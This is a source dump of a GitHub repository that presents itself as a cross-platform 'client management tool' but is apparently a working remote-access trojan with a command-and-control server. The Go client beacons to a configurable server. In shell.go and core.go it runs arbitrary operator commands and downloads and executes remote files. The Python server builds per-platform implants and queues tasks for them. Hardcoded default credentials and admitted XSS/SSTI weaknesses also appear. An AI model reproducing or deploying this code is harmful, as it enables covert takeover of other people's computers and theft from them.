├── Server ├── app │ ├── web │ │ ├── static │ │ │ ├── js │ │ │ │ ├── myjs.js │ │ │ │ ├── base64.js │ │ │ │ ├── bootstrap.min.js │ │ │ │ └── bootstrap.js │ │ │ └── css │ │ │ │ ├── mycss.css │ │ │ │ ├── bootstrap-responsive.min.css │ │ │ │ └── bootstrap-responsive.css │ │ ├── backend │ │ │ ├── __init__.py │ │ │ └── backend.py │ │ ├── __init__.py │ │ ├── templates │ │ │ ├── control.html │ │ │ └── manager.html │ │ └── web.py │ ├── utils │ │ ├── __init__.py │ │ └── utils.py │ ├── ws │ │ ├── __init__.py │ │ └── ws.py │ ├── config │ │ ├── __init__.py │ │ └── config.py │ └── __init__.py ├── manager.py └── bin │ └── 请把编译后的文件放置于这里.txt ├── go.mod ├── doc └── img │ └── index.png ├── Client ├── config │ └── config.go ├── main.go ├── shell │ └── shell.go ├── utils │ └── utils.go └── core │ └── core.go ├── readme.md └── .gitignore /Server/app/web/static/js/myjs.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Server/app/web/static/css/mycss.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Server/app/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from .utils import * -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/9bie/manager 2 | 3 | go 1.16 4 | -------------------------------------------------------------------------------- /Server/app/web/backend/__init__.py: -------------------------------------------------------------------------------- 1 | from .backend import * 2 | -------------------------------------------------------------------------------- /doc/img/index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/9bie/manager/HEAD/doc/img/index.png -------------------------------------------------------------------------------- /Server/manager.py: -------------------------------------------------------------------------------- 1 | import app 2 | try: 3 | app.create_app() 4 | except KeyboardInterrupt: 5 | print("Bye~") 6 | app.close_app() 7 | 8 | -------------------------------------------------------------------------------- /Client/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | const ( 4 | RemoteAddress string = "http://127.0.0.1:5000//backend/" 5 | DefaultSleep int = 30 6 | Remarks string = "default" 7 | ) 8 | -------------------------------------------------------------------------------- /Server/bin/请把编译后的文件放置于这里.txt: -------------------------------------------------------------------------------- 1 | 自行用golang交叉编译后放置于这里,文件名分别为: 2 | windows_x86.exe 3 | windows_x86_64.exe 4 | windows_dll.dll 5 | linux_x86 6 | linux_x86_64 7 | linux_arm 8 | mac_x86 9 | mac_x86_64 10 | mac_arm -------------------------------------------------------------------------------- /Client/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/9bie/manager/Client/core" 5 | "time" 6 | ) 7 | 8 | //export export 9 | func Export() { 10 | for { 11 | time.Sleep(10) 12 | } 13 | } 14 | func main() { 15 | for { 16 | c := core.NewClient() 17 | c.Pool() 18 | time.Sleep(10) 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /Server/app/ws/__init__.py: -------------------------------------------------------------------------------- 1 | from .ws import * 2 | 3 | 4 | def create_server(host, port): 5 | # 把ip换成自己本地的ip 6 | print("[+]Websocket Server Running...") 7 | start_server = websockets.serve(main_logic, host, port) 8 | ''' 9 | asyncio.get_event_loop().run_until_complete(start_server) 10 | asyncio.get_event_loop().run_forever() 11 | ''' 12 | return start_server 13 | 14 | -------------------------------------------------------------------------------- /Server/app/config/__init__.py: -------------------------------------------------------------------------------- 1 | from .config import CONFIG 2 | import random,string 3 | if CONFIG["web"]["control"] == "/pleasechangeme/": 4 | WEB = ''.join(random.sample(string.ascii_letters + string.digits, 8)) 5 | CONFIG["web"]["control"] = "/%s/" % ( WEB ) 6 | print("!!!!!!!!!!!!!!\nPlease Change app/config/config.py' s CONFIG['WEB']['control'] for your control gui\nYou temporary web control page is: /%s/\n!!!!!!!!!!!!!!" % WEB ) -------------------------------------------------------------------------------- /Server/app/web/__init__.py: -------------------------------------------------------------------------------- 1 | from .web import app 2 | from ..config import CONFIG 3 | 4 | 5 | def create_server(): 6 | print("[+]Web Server Running...") 7 | # start_server = app.run(debug=debug) 8 | print("[+]BackEnd address: {}".format(CONFIG["web"]["backend"])) 9 | print("[+]Web Control address: {}".format(CONFIG["web"]["control"])) 10 | 11 | return app.run_task(host=CONFIG["web"]["host"], 12 | port=CONFIG["web"]["port"], 13 | debug=CONFIG["web"]["debug"]) 14 | 15 | -------------------------------------------------------------------------------- /Server/app/config/config.py: -------------------------------------------------------------------------------- 1 | CONFIG = {"web": {}, "database": {}, "base": {}} 2 | 3 | # Base Access 4 | CONFIG["base"]["username"] = "admin" 5 | CONFIG["base"]["password"] = "12345" 6 | CONFIG["base"]["default_sleep"] = 30 7 | CONFIG["base"]["log"] = "running.log" 8 | CONFIG["base"]["cdn"] = False # 如果有使用反代和cdn请使用这个 9 | CONFIG["base"]["source_ip_tag"] = "X-Real-Ip" # 务必让反代或者的cdn请求头中的这个值包含源用户的真实IP 10 | # Web Control Access 11 | CONFIG["web"]["debug"] = False 12 | CONFIG["web"]["host"] = "0.0.0.0" 13 | CONFIG["web"]["port"] = "5000" 14 | CONFIG["web"]["backend"] = "/backend/" 15 | CONFIG["web"]["control"] = "/pleasechangeme/" 16 | 17 | 18 | # DataBase Access 19 | CONFIG["database"]["is_mysql"] = False 20 | 21 | 22 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Manage 2 | 一款HMP的b/s全平台通用的客户管理工具 3 | 4 | ![不要吐槽前端](doc/img/index.png) 5 | 6 | ## todo 7 | 8 | - 后台密码验证 9 | - 客户名单分页 10 | - 日志分页 11 | - 还有啥暂时想不到了 12 | - 多用户模式 13 | 14 | 15 | ## 注意 16 | 17 | 对客户端仅有略微过滤,有潜在的XSS和SSTI风险。 18 | 19 | ## 关于反代 20 | 21 | 修改`app/config/config.py`下的`CONFIG["base"]["cdn"] = False`改为True 22 | 23 | 之后把`CONFIG["base"]["source_ip_tag"] = "X-Real-Ip"`修改为反代返回给你正确IP的tag 24 | 25 | 26 | 27 | # 关于Release 28 | 29 | 其自行编译Client使用交叉编译放置于`Server/bin`下面 30 | 31 | # 如何编译 32 | ## Server 33 | 需要以下依赖: 34 | 35 | - quert 36 | 37 | ## Client 38 | 39 | - 把此项目clone到你的GOPATH 40 | - mv $GOPATH/9bie/manager/Client 41 | - go build 42 | 43 | 你编译的config.go中的http地址必须是你py项目config.py里的`CONFIG["web"]["control"] `地址 44 | 45 | 46 | -------------------------------------------------------------------------------- /Server/app/__init__.py: -------------------------------------------------------------------------------- 1 | # swap layout 2 | from .config import * 3 | #from .ws import create_server, get_action, broadcast 4 | from .web import create_server 5 | import asyncio 6 | from json import dumps 7 | import threading 8 | import os 9 | import signal 10 | import platform 11 | loop = asyncio.get_event_loop() 12 | 13 | 14 | # def __backend2ws(): 15 | # while True: 16 | # action = web.get_action() 17 | # print("[!][B2W]Action:{}".format(action)) 18 | # asyncio.run( 19 | # ws.broadcast(dumps(action)) 20 | # ) 21 | 22 | 23 | # def __ws2backend(): 24 | # while True: 25 | # action = ws.get_action() 26 | # print("[!][W2B]Action:{}".format(action)) 27 | # if "uuid" in action and "do" in action: 28 | # web.do_action(action["uuid"], action["do"]) 29 | 30 | 31 | 32 | 33 | def create_app(): 34 | print("[+]App Running...") 35 | # threading.Thread(target=__ws2backend).start() 36 | # threading.Thread(target=__backend2ws).start() 37 | 38 | # loop.run_until_complete(ws.create_server(CONFIG["websocket"]["host"], CONFIG["websocket"]["port"])) 39 | loop.run_until_complete( 40 | web.create_server() 41 | ) 42 | loop.run_forever() 43 | 44 | 45 | def close_app(): 46 | if platform.system() == "Windows": 47 | pid = os.getpid() 48 | os.popen('taskkill.exe /F /pid:' + str(pid)) 49 | else: 50 | os.kill(os.getpid(),signal.SIGSTOP) 51 | -------------------------------------------------------------------------------- /Client/shell/shell.go: -------------------------------------------------------------------------------- 1 | package shell 2 | 3 | import ( 4 | "github.com/9bie/manager/Client/utils" 5 | "io" 6 | // "fmt" 7 | // "io/ioutil" 8 | "net/http" 9 | "os" 10 | "os/exec" 11 | ) 12 | 13 | type Down struct { 14 | Url string `json:"url"` 15 | Path string `json:"path"` 16 | IsRun string `json:"is_run"` 17 | } 18 | type Shell struct { 19 | Command string `json:"command"` 20 | } 21 | type Remark struct { 22 | Remark string `json:"remark"` 23 | } 24 | type Sleep struct { 25 | Sleep int `json:"sleep"` 26 | } 27 | 28 | 29 | 30 | func (s Shell) ExecuteCmd() string { 31 | var cmd *exec.Cmd 32 | if utils.GetOSVersion() == 0{ 33 | cmd = exec.Command("sh","-c", s.Command) 34 | }else{ 35 | cmd = exec.Command("cmd.exe","/c", s.Command) 36 | } 37 | 38 | 39 | stdout, _ := cmd.CombinedOutput() 40 | 41 | return string(stdout) 42 | } 43 | func (d Down) Download() string { 44 | 45 | // Get the data 46 | resp, err := http.Get(d.Url) 47 | if err != nil { 48 | return err.Error() 49 | } 50 | defer resp.Body.Close() 51 | 52 | // 创建一个文件用于保存 53 | out, err := os.Create(d.Path) 54 | if err != nil { 55 | return err.Error() 56 | } 57 | defer out.Close() 58 | 59 | // 然后将响应流和文件流对接起来 60 | _, err = io.Copy(out, resp.Body) 61 | if err != nil { 62 | return err.Error() 63 | } 64 | if d.IsRun == "yes" { 65 | cmd := exec.Command(d.Path, "") 66 | err := cmd.Run() 67 | if err != nil { 68 | return err.Error() 69 | } 70 | } 71 | return "Download Successful!" 72 | } 73 | -------------------------------------------------------------------------------- /Server/app/ws/ws.py: -------------------------------------------------------------------------------- 1 | from json import loads,dumps 2 | from queue import Queue 3 | from ..web import online_list 4 | from ..config import CONFIG 5 | import asyncio 6 | import websockets 7 | 8 | events = Queue() 9 | user_list = set() 10 | 11 | 12 | async def broadcast(message): 13 | for i in user_list: 14 | await i.send(message) 15 | 16 | 17 | def get_action(): 18 | return events.get() 19 | 20 | 21 | async def check_permit(w): 22 | 23 | while True: 24 | recv = await w.recv() 25 | cred_dict = loads(recv) 26 | 27 | if cred_dict["username"] == CONFIG["base"]["username"] and cred_dict["password"] == CONFIG["base"]["password"]: 28 | user_list.add(w) 29 | await w.send(dumps({ 30 | "login": True, 31 | "data": online_list() 32 | })) 33 | return True 34 | else: 35 | await w.send(dumps({ 36 | "data": False 37 | })) 38 | 39 | 40 | async def handle(w): 41 | try: 42 | while True: 43 | recv = await w.recv() 44 | data = loads(recv) 45 | events.put(data) 46 | except Exception as e: 47 | if w in user_list: 48 | user_list.remove(w) 49 | 50 | 51 | async def main_logic(w, path): 52 | print("[+][ws]Request Uri:{}".format(path)) 53 | try: 54 | await check_permit(w) 55 | 56 | await handle(w) 57 | finally: 58 | if w in user_list: 59 | user_list.remove(w) 60 | 61 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | .idea/ 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # IPython 76 | profile_default/ 77 | ipython_config.py 78 | 79 | # pyenv 80 | .python-version 81 | 82 | # celery beat schedule file 83 | celerybeat-schedule 84 | 85 | # SageMath parsed files 86 | *.sage.py 87 | 88 | # Environments 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | .dmypy.json 103 | dmypy.json 104 | 105 | # project 106 | novel.db 107 | config.py 108 | *.exe 109 | .idea/ -------------------------------------------------------------------------------- /Server/app/utils/utils.py: -------------------------------------------------------------------------------- 1 | import os, time 2 | from json import loads, dumps 3 | from time import time 4 | 5 | 6 | def generate_client(address, t): 7 | windows_x86_path = os.path.join("bin", "windows_x86.exe") 8 | windows_x86_64_path = os.path.join("bin", "windows_x86_64.exe") 9 | windows_dll_x86 = os.path.join("bin", "windows_dll_x86.dll") 10 | windows_dll_x86_64 = os.path.join("bin", "windows_dll_x86_64.dll") 11 | linux_x86 = os.path.join("bin", "linux_x86") 12 | linux_x86_64 = os.path.join("bin", "linux_x86_64") 13 | linux_arm = os.path.join("bin", "linux_arm") 14 | mac = os.path.join("bin", "mac") 15 | if t == "windows_x86": 16 | raw = windows_x86_path 17 | f1 = raw + ".exe" 18 | elif t == "windows_x86_64": 19 | raw = windows_x86_64_path 20 | f1 = raw + ".exe" 21 | elif t == "windows_dll_x86": 22 | raw = windows_dll_x86 23 | f1 = raw + ".dll" 24 | elif t == "windows_dll_x86_64": 25 | raw = windows_dll_x86_64 26 | f1 = raw + ".dll" 27 | elif t == "linux_x86": 28 | raw = linux_x86 29 | f1 = raw 30 | elif t == "linux_x86_64": 31 | raw = linux_x86_64 32 | f1 = raw 33 | elif t == "linux_arm": 34 | raw = linux_arm 35 | f1 = raw 36 | 37 | elif t == "mac": 38 | raw = mac 39 | f1 = raw 40 | else: 41 | return False, "未知错误", "" 42 | if os.path.isfile(raw) is False: 43 | return False, "源文件不存在", "" 44 | f = open(raw, "rb") 45 | b = f.read() 46 | space = 80 - len(address) 47 | last = address + " " * space 48 | i = 0 49 | newberry = bytearray(b) 50 | p = newberry.find(("b" * 80).encode()) 51 | for i2 in last: 52 | newberry[p + i] = ord(i2) 53 | i += 1 54 | filename = str(int(time())) + ".bin" 55 | path = os.path.join("app", "web", "static", filename) 56 | f2 = open(path, "wb") 57 | f2.write(newberry) 58 | f2.close() 59 | f.close() 60 | return True, filename, f1 61 | -------------------------------------------------------------------------------- /Client/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/9bie/manager/Client/config" 5 | "crypto/rc4" 6 | "encoding/base64" 7 | 8 | //"fmt" 9 | "math/rand" 10 | "net" 11 | "os" 12 | "os/user" 13 | "runtime" 14 | "strconv" 15 | "time" 16 | ) 17 | 18 | type Information struct { 19 | User string `json:"user"` 20 | Remarks string `json:"remarks"` 21 | IIP string `json:"iip"` 22 | System string `json:"system"` 23 | } 24 | 25 | func GetInformation() Information { 26 | return Information{ 27 | User: GetUser(), 28 | Remarks: config.Remarks, 29 | IIP: GetIPAddress(), 30 | System: runtime.GOOS, 31 | } 32 | } 33 | 34 | func RandStringRunes(n int) string { 35 | 36 | rand.Seed(time.Now().UnixNano()) 37 | 38 | var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 39 | b := make([]rune, n) 40 | for i := range b { 41 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 42 | } 43 | return string(b) 44 | } 45 | 46 | func ImmediateRC4(input []byte) []byte { 47 | t := time.Now().Unix() 48 | t2 := int(t) / 100 49 | s := strconv.Itoa(t2) 50 | var key []byte = []byte(s) 51 | rc4obj1, _ := rc4.NewCipher(key) 52 | rc4str1 := []byte(input) 53 | plaintext := make([]byte, len(rc4str1)) 54 | rc4obj1.XORKeyStream(plaintext, rc4str1) 55 | return plaintext 56 | 57 | } 58 | func GetUser() string { 59 | if u, err := user.Current(); err == nil { 60 | return u.Username 61 | } 62 | return "unknown" 63 | } 64 | func EasyCrypto(input string) string { 65 | bytes := []byte(input) 66 | for i := 0; i < len(bytes); i++ { 67 | bytes[i] = bytes[i] + 1 68 | } 69 | encoded := base64.StdEncoding.EncodeToString(bytes) 70 | return encoded 71 | } 72 | func EasyDeCrypto(input string) string { 73 | decoded, err := base64.StdEncoding.DecodeString(input) 74 | if err != nil { 75 | return "err" 76 | } 77 | for i := 0; i < len(decoded); i++ { 78 | decoded[i] = decoded[i] - 1 79 | } 80 | return string(decoded) 81 | 82 | } 83 | 84 | 85 | // 0-linux 1-windwos 2=unkonw 86 | func GetOSVersion() int { 87 | 88 | sysType := runtime.GOOS 89 | 90 | if sysType == "linux" { 91 | return 0 92 | } 93 | 94 | if sysType == "windows" { 95 | return 1 96 | } 97 | return 2 98 | } 99 | func GetIPAddress() string { 100 | var IP string 101 | adders, err := net.InterfaceAddrs() 102 | if err != nil { 103 | 104 | os.Exit(1) 105 | } 106 | for _, address := range adders { 107 | // 检查ip地址判断是否回环地址 108 | if inet, ok := address.(*net.IPNet); ok && !inet.IP.IsLoopback() { 109 | if inet.IP.To4() != nil { 110 | return inet.IP.String() 111 | // IP += inet.IP.String() + "," 112 | } 113 | } 114 | } 115 | return IP 116 | } 117 | -------------------------------------------------------------------------------- /Server/app/web/backend/backend.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import asyncio 3 | from app.utils import * 4 | from threading import Timer 5 | import time 6 | from json import dumps,loads 7 | import html 8 | 9 | Conn = {} 10 | Events = {"global":[]} 11 | Do = {} 12 | 13 | def get_conn(uuid): 14 | return Conn[uuid] 15 | 16 | def get_list(length=0): 17 | if length == 0 or length>=len(Conn): 18 | return Conn 19 | else: 20 | # todo: 整个分页 21 | return Conn 22 | def del_events(uuid): 23 | if uuid in Events: 24 | Events[uuid] = [] 25 | 26 | 27 | def add_events(uuid,data): 28 | if uuid not in Events: 29 | return 30 | else: 31 | print("[!]Event add from %s\n==========\n%s\n=========="%(uuid,data["data"])) 32 | data["action"] = html.escape(data["action"]) 33 | data["data"] = html.escape(data["data"]) 34 | Events[uuid].append(data) 35 | return 36 | 37 | 38 | def get_events(uuid,length=20): 39 | if uuid not in Events: 40 | return [] 41 | if len(Events[uuid]) < length: 42 | return Events[uuid] 43 | else: 44 | return Events[uuid][:-length] 45 | 46 | 47 | def do_action(uuid, do_something): 48 | if uuid not in Conn and uuid not in Do: 49 | return 50 | if uuid == "all": 51 | for i in Do.values(): 52 | i.append(do_something) 53 | else: 54 | Do[uuid].append(do_something) 55 | return 56 | 57 | def clear_all(t=600): 58 | del_conn = [] 59 | for i in Conn.values(): 60 | if int(time.time()) - i["heartbeat"] > int(t): 61 | del_conn.append(i["uuid"]) 62 | for i in del_conn: 63 | offline(i) 64 | 65 | 66 | def offline(uuid): 67 | if uuid in Conn: 68 | Conn.pop(uuid) 69 | Events.pop(uuid) 70 | Do.pop(uuid) 71 | 72 | 73 | def handle(packet,ip): 74 | data = loads(packet) 75 | if "uuid" not in data: 76 | return "", 404 77 | else: 78 | if(data["uuid"] not in Conn): 79 | print("[!][BackEnd]Online:{}".format(ip)) 80 | event = { 81 | "is_client":True, 82 | "action":"global", 83 | "time":time.asctime(time.localtime(time.time())), 84 | "data":"[+]%s:Online IP:%s" % (time.asctime(time.localtime(time.time())),ip) 85 | } 86 | add_events("global", event ) 87 | data["info"]["remarks"] = html.escape(data["info"]["remarks"]) 88 | data["info"]["system"] = html.escape(data["info"]["system"]) 89 | data["info"]["user"] = html.escape(data["info"]["user"]) 90 | data["info"]["iip"] = html.escape(data["info"]["iip"]) 91 | 92 | 93 | Conn[data["uuid"]] = { 94 | "ip":html.escape(ip), 95 | "uuid":html.escape(data["uuid"]), 96 | "sleep":data["sleep"], 97 | "heartbeat":int(time.time()), 98 | "info":data["info"], 99 | } 100 | if data["uuid"] not in Events: 101 | Events[data["uuid"]] = [] 102 | else: 103 | if data["result"]: 104 | for i in data["result"]: 105 | 106 | 107 | event = { 108 | "is_client":True, 109 | "action":i["action"], 110 | "time":time.asctime(time.localtime(time.time())), 111 | "data":i["data"] 112 | } 113 | add_events(data["uuid"],event) 114 | 115 | if data["uuid"] not in Do: 116 | Do[data["uuid"]] = [] 117 | 118 | ret = dumps(Do[data["uuid"]]) 119 | 120 | Do[data["uuid"]] = [] 121 | return ret 122 | -------------------------------------------------------------------------------- /Server/app/web/templates/control.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Manager 7 | 8 | 9 | 10 | 11 | 26 | 30 | 31 | 32 | 35 | 36 |
37 |
38 |

Cmd Shell

39 |
40 |
41 | 46 |
47 | 48 | 49 |
50 | 51 |
52 |

修改备注

53 |
54 |
55 | 更改备注: 56 |
57 | 58 |
59 | 60 |
61 | Sleep: 62 |
63 | 64 |
65 | 66 | 清空缓存
67 | 下线 68 | 返回 69 |
70 | 71 | 72 | 73 | 74 |
75 |

下载文件

76 |
77 |
78 | 远程地址: 79 |
80 | 保存路径: 81 |
82 | 是否运行: 86 |
87 | 88 |
89 |
90 |
91 |
93 |

日志

94 |
95 | {% for i in events %} 96 | {% if i.is_client %} 97 |
98 |

From {{ i.action }} Date: {{ i.time }}

99 |

{{ i.data }}

100 |
101 | {% else %} 102 |
103 |

From {{ i.action }} Date: {{ i.time }}

104 |

{{ i.data }}

105 |
106 | {% endif %} 107 | 108 | {% endfor %} 109 |
110 |
111 | 112 | 113 | -------------------------------------------------------------------------------- /Server/app/web/static/js/base64.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Base64 encode / decode 4 | * 5 | * @author haitao.tu 6 | * @date 2010-04-26 7 | * @email tuhaitao@foxmail.com 8 | * 9 | */ 10 | 11 | function Base64() { 12 | 13 | // private property 14 | _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 15 | 16 | // public method for encoding 17 | this.encode = function (input) { 18 | var output = ""; 19 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 20 | var i = 0; 21 | input = _utf8_encode(input); 22 | while (i < input.length) { 23 | chr1 = input.charCodeAt(i++); 24 | chr2 = input.charCodeAt(i++); 25 | chr3 = input.charCodeAt(i++); 26 | enc1 = chr1 >> 2; 27 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 28 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 29 | enc4 = chr3 & 63; 30 | if (isNaN(chr2)) { 31 | enc3 = enc4 = 64; 32 | } else if (isNaN(chr3)) { 33 | enc4 = 64; 34 | } 35 | output = output + 36 | _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + 37 | _keyStr.charAt(enc3) + _keyStr.charAt(enc4); 38 | } 39 | return output; 40 | } 41 | 42 | // public method for decoding 43 | this.decode = function (input) { 44 | var output = ""; 45 | var chr1, chr2, chr3; 46 | var enc1, enc2, enc3, enc4; 47 | var i = 0; 48 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 49 | while (i < input.length) { 50 | enc1 = _keyStr.indexOf(input.charAt(i++)); 51 | enc2 = _keyStr.indexOf(input.charAt(i++)); 52 | enc3 = _keyStr.indexOf(input.charAt(i++)); 53 | enc4 = _keyStr.indexOf(input.charAt(i++)); 54 | chr1 = (enc1 << 2) | (enc2 >> 4); 55 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 56 | chr3 = ((enc3 & 3) << 6) | enc4; 57 | output = output + String.fromCharCode(chr1); 58 | if (enc3 != 64) { 59 | output = output + String.fromCharCode(chr2); 60 | } 61 | if (enc4 != 64) { 62 | output = output + String.fromCharCode(chr3); 63 | } 64 | } 65 | output = _utf8_decode(output); 66 | return output; 67 | } 68 | 69 | // private method for UTF-8 encoding 70 | _utf8_encode = function (string) { 71 | string = string.replace(/\r\n/g,"\n"); 72 | var utftext = ""; 73 | for (var n = 0; n < string.length; n++) { 74 | var c = string.charCodeAt(n); 75 | if (c < 128) { 76 | utftext += String.fromCharCode(c); 77 | } else if((c > 127) && (c < 2048)) { 78 | utftext += String.fromCharCode((c >> 6) | 192); 79 | utftext += String.fromCharCode((c & 63) | 128); 80 | } else { 81 | utftext += String.fromCharCode((c >> 12) | 224); 82 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); 83 | utftext += String.fromCharCode((c & 63) | 128); 84 | } 85 | 86 | } 87 | return utftext; 88 | } 89 | 90 | // private method for UTF-8 decoding 91 | _utf8_decode = function (utftext) { 92 | var string = ""; 93 | var i = 0; 94 | var c = c1 = c2 = 0; 95 | while ( i < utftext.length ) { 96 | c = utftext.charCodeAt(i); 97 | if (c < 128) { 98 | string += String.fromCharCode(c); 99 | i++; 100 | } else if((c > 191) && (c < 224)) { 101 | c2 = utftext.charCodeAt(i+1); 102 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 103 | i += 2; 104 | } else { 105 | c2 = utftext.charCodeAt(i+1); 106 | c3 = utftext.charCodeAt(i+2); 107 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 108 | i += 3; 109 | } 110 | } 111 | return string; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /Client/core/core.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "github.com/9bie/manager/Client/config" 5 | "github.com/9bie/manager/Client/shell" 6 | "github.com/9bie/manager/Client/utils" 7 | "bytes" 8 | "encoding/base64" 9 | "encoding/json" 10 | 11 | "io/ioutil" 12 | //"log" 13 | "net/http" 14 | "strings" 15 | "time" 16 | ) 17 | 18 | type Event struct { // 本地事件 19 | Action string `json:"action"` 20 | Data string `json:"data"` 21 | } 22 | 23 | type Heartbeat struct { //心跳包 24 | Uuid string `json:"uuid"` 25 | Result []Event `json:"result"` 26 | Info utils.Information `json:"info"` 27 | Sleep int `json:"sleep"` 28 | } 29 | type Action struct {// 服务器下发的包 30 | Do string `json:"do"` 31 | Data string `json:"data"` 32 | } 33 | 34 | type Core struct { 35 | remoteAddress string 36 | info utils.Information 37 | sleep int 38 | uuid string 39 | event []Event 40 | } 41 | 42 | func (c *Core) RefreshInfo() { 43 | c.info = utils.GetInformation() 44 | } 45 | func (c *Core) Pool() { 46 | client := &http.Client{} 47 | for { 48 | time.Sleep(time.Duration(c.sleep) * time.Second) 49 | 50 | data := Heartbeat{Uuid: c.uuid, Result: c.event, Info: c.info, Sleep: c.sleep} 51 | c.event = nil 52 | bytesJson, err := json.Marshal(data) 53 | if err != nil { 54 | continue 55 | } 56 | 57 | req, err := http.NewRequest("POST", c.remoteAddress, bytes.NewReader(bytesJson)) 58 | if err != nil { 59 | continue 60 | } 61 | req.Header.Add("UA", "android") 62 | resp, err := client.Do(req) 63 | if err != nil { 64 | continue 65 | } 66 | body, err := ioutil.ReadAll(resp.Body) 67 | if err != nil { 68 | continue 69 | } 70 | 71 | 72 | var action []Action 73 | 74 | err = json.Unmarshal(body, &action) 75 | if err != nil { 76 | 77 | 78 | } 79 | for _, i := range action { 80 | 81 | switch i.Do { 82 | case "cmd": 83 | 84 | cmdData, err := base64.StdEncoding.DecodeString(i.Data) 85 | if err != nil { 86 | c.event = append(c.event, Event{Action: "cmd", Data: err.Error()}) 87 | break 88 | } 89 | 90 | var cmd shell.Shell 91 | err = json.Unmarshal(cmdData, &cmd) 92 | if err != nil { 93 | 94 | c.event = append(c.event, Event{Action: "cmd", Data: err.Error()}) 95 | break 96 | } 97 | go func() { 98 | c.event = append(c.event, Event{Action: "cmd", Data: cmd.ExecuteCmd()}) 99 | }() 100 | 101 | case "download": 102 | var down shell.Down 103 | downData, err := base64.StdEncoding.DecodeString(i.Data) 104 | if err != nil { 105 | c.event = append(c.event, Event{Action: "download", Data: err.Error()}) 106 | break 107 | } 108 | err = json.Unmarshal([]byte(downData), &down) 109 | if err != nil { 110 | c.event = append(c.event, Event{Action: "download", Data: err.Error()}) 111 | } 112 | go func() { 113 | c.event = append(c.event, Event{Action: "download", Data: down.Download()}) 114 | }() 115 | 116 | case "remark": 117 | var remark shell.Remark 118 | remarkData, err := base64.StdEncoding.DecodeString(i.Data) 119 | if err != nil { 120 | c.event = append(c.event, Event{Action: "remark", Data: err.Error()}) 121 | break 122 | } 123 | err = json.Unmarshal([]byte(remarkData), &remark) 124 | if err != nil { 125 | c.event = append(c.event, Event{Action: "remark", Data: err.Error()}) 126 | } 127 | go func() { 128 | c.info.Remarks = remark.Remark 129 | c.event = append(c.event, Event{Action: "remark", Data: "Change Remark Successful."}) 130 | }() 131 | case "sleep": 132 | var sleep shell.Sleep 133 | sleepData, err := base64.StdEncoding.DecodeString(i.Data) 134 | if err != nil { 135 | c.event = append(c.event, Event{Action: "sleep", Data: err.Error()}) 136 | break 137 | } 138 | err = json.Unmarshal([]byte(sleepData), &sleep) 139 | if err != nil { 140 | c.event = append(c.event, Event{Action: "sleep", Data: err.Error()}) 141 | } 142 | go func() { 143 | c.sleep = sleep.Sleep 144 | c.event = append(c.event, Event{Action: "sleep", Data: "Change Sleep Successful."}) 145 | }() 146 | 147 | 148 | 149 | } 150 | } 151 | } 152 | } 153 | 154 | func NewClient() Core { 155 | var u string 156 | 157 | u = utils.RandStringRunes(16) 158 | 159 | //fmt.Println("Target", strings.TrimSpace(config.RemoteAddress)) 160 | c := Core{ 161 | remoteAddress: strings.TrimSpace(config.RemoteAddress), 162 | info: utils.GetInformation(), 163 | uuid: u, 164 | sleep: config.DefaultSleep, 165 | } 166 | return c 167 | } 